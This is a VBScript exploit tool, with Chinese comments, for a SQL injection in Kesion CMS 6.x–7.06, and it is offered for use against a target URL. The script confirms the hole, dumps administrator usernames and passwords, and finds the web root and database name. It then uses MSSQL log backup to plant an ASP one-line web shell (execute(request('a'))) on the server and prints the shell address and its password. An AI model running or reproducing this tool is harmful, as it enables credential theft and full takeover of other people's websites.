科讯kesion 6.x – 7.06 SQL 注射漏洞VBS版利用工具:
'*=========================================================================
'* Intro 科讯kesion 6.x – 7.06 SQL 注射漏洞VBS版利用工具
'* Usage 在命令提示符下输入:Cscript.exe Exp.vbs www.target.com
'* Author 雨中风铃
'* WEB http://hi.baidu.com/yanfei6
'*=========================================================================
Function PostData(PostUrl)
Dim Http
Set Http = CreateObject("msxml2.serverXMLHTTP")
With Http
.Open "GET", PostUrl, False
.Send()
PostData = .ResponseText
End With
Set Http = Nothing
Wscript.Sleep 2000
End Function
Function BackDB(PostUrl)
Dim Http
Set Http = CreateObject("msxml2.serverXMLHTTP")
With Http
.Open "GET", PostUrl, False
.Send()
WScript.Echo "[ " & .Status & " " & .statusText & " ] " & Unescape(Unescape(PostUrl))
If .Status<>200 Then
WScript.Echo "日志差异备份出错!"
WScript.Quit
End If
End With
Set Http = Nothing
Wscript.Sleep 2000
End Function
Function IsSuccess(PostUrl, strSign)
strData = PostData(PostUrl)
'Wscript.Echo strData
if InStr(strData, strSign) >0 then
IsSuccess = True
Else
IsSuccess = False
End If
End Function
Function Encode(strData)
Dim strTemp, I
For I = 1 To Len(strData)
strTemp = strTemp & "%25" & Hex(Asc(Mid(strData, I, 1)))
Next
Encode = strTemp & "%2500"
End Function
Function getData(strData, patrn)
dim strTemp
Set re = New RegExp
re.Pattern = patrn
re.IgnoreCase = True
re.Global = True
Set Matches = re.Execute(strData)
For i = 0 To Matches.Count - 1
If Matches(i).Value<>"" Then
strTemp = strTemp & vbCrLf & Matches(i).SubMatches(0)
End If
Next
getData = strTemp
End Function
If WScript.Arguments.Count <> 1 Then
WScript.Echo "Usage: Cscript.exe Exp.vbs 要检测的网址"
WScript.Echo "Example: Cscript.exe Exp.vbs http://www.kesion.com/"
WScript.Quit
End If
attackUrl = WScript.Arguments(0)
attackUrl = Replace(attackUrl,"\","/")
If Right(attackUrl , 1) <> "/" Then
attackUrl = attackUrl & "/"
End If
strHoleUrl = attackUrl & "user/reg/regajax.asp?action=getcityoption&province="
strTestUrl = strHoleUrl & Encode("' union Select 1, 'ExistHole' From KS_Admin")
If IsSuccess(strTestUrl, "ExistHole") Then
WScript.Echo "恭喜!存在漏洞"
Else
WScript.Echo "没有检测到漏洞"
WScript.Quit
End If
strTestUrl = strHoleUrl & Encode("' union Select 1, 'ExistHole'")
If IsSuccess(strTestUrl, "ExistHole") Then
WScript.Echo "数据库为:MSSQL"
bAccess = False
Else
WScript.Echo "数据库为:ACCESS"
bAccess = True
End If
strTestUrl = strHoleUrl & Encode("' union Select top 10 AdminID,UserName+'<->'+PassWord From KS_Admin")
WScript.Echo "用户名<->密码:" & getData(PostData(strTestUrl), "value=""([^""]+)")
strTestUrl = strHoleUrl & "%25i"
strWebPath = getData(PostData(strTestUrl), ">([^>]+)\.\./\.\./KS_Cls/Kesion\.EscapeCls\.asp")
strWebPath = Replace(strWebPath, vbCrLf, "")
If strWebPath <> "" Then
WScript.Echo "网站绝对路径:" & strWebPath
End If
If Not bAccess Then
strTestUrl = strHoleUrl & Encode("' union Select 1, db_name()")
strDatabase = getData(PostData(strTestUrl), "value=""([^""]+)")
strDatabase = Replace(strDatabase, vbCrLf, "")
WScript.Echo "MSSQL数据库名为:" & strDatabase
End If
WScript.Echo "正在进行数据库差异备份:"
If strWebPath <> "" And strDatabase <> "" Then
BackDB(strHoleUrl & Encode("';alter database " & strDatabase & " set RECOVERY FULL"))
BackDB(strHoleUrl & Encode("';create table cmd (a image)"))
BackDB(strHoleUrl & Encode("';backup log " & strDatabase & " to disk = 'c:\cmd' with init"))
BackDB(strHoleUrl & Encode("';insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253E)"))
BackDB(strHoleUrl & Encode("';backup log " & strDatabase & " to disk = '" & strWebPath & "2.asp'"))
BackDB(strHoleUrl & Encode("';drop table cmd"))
BackDB(strHoleUrl & Encode("';alter database "& strDatabase & " set RECOVERY SIMPLE"))
End If
WScript.Echo "Execute一句话木马地址为:" & attackUrl & "user/reg/2.asp"
WScript.Echo "密码为:a" |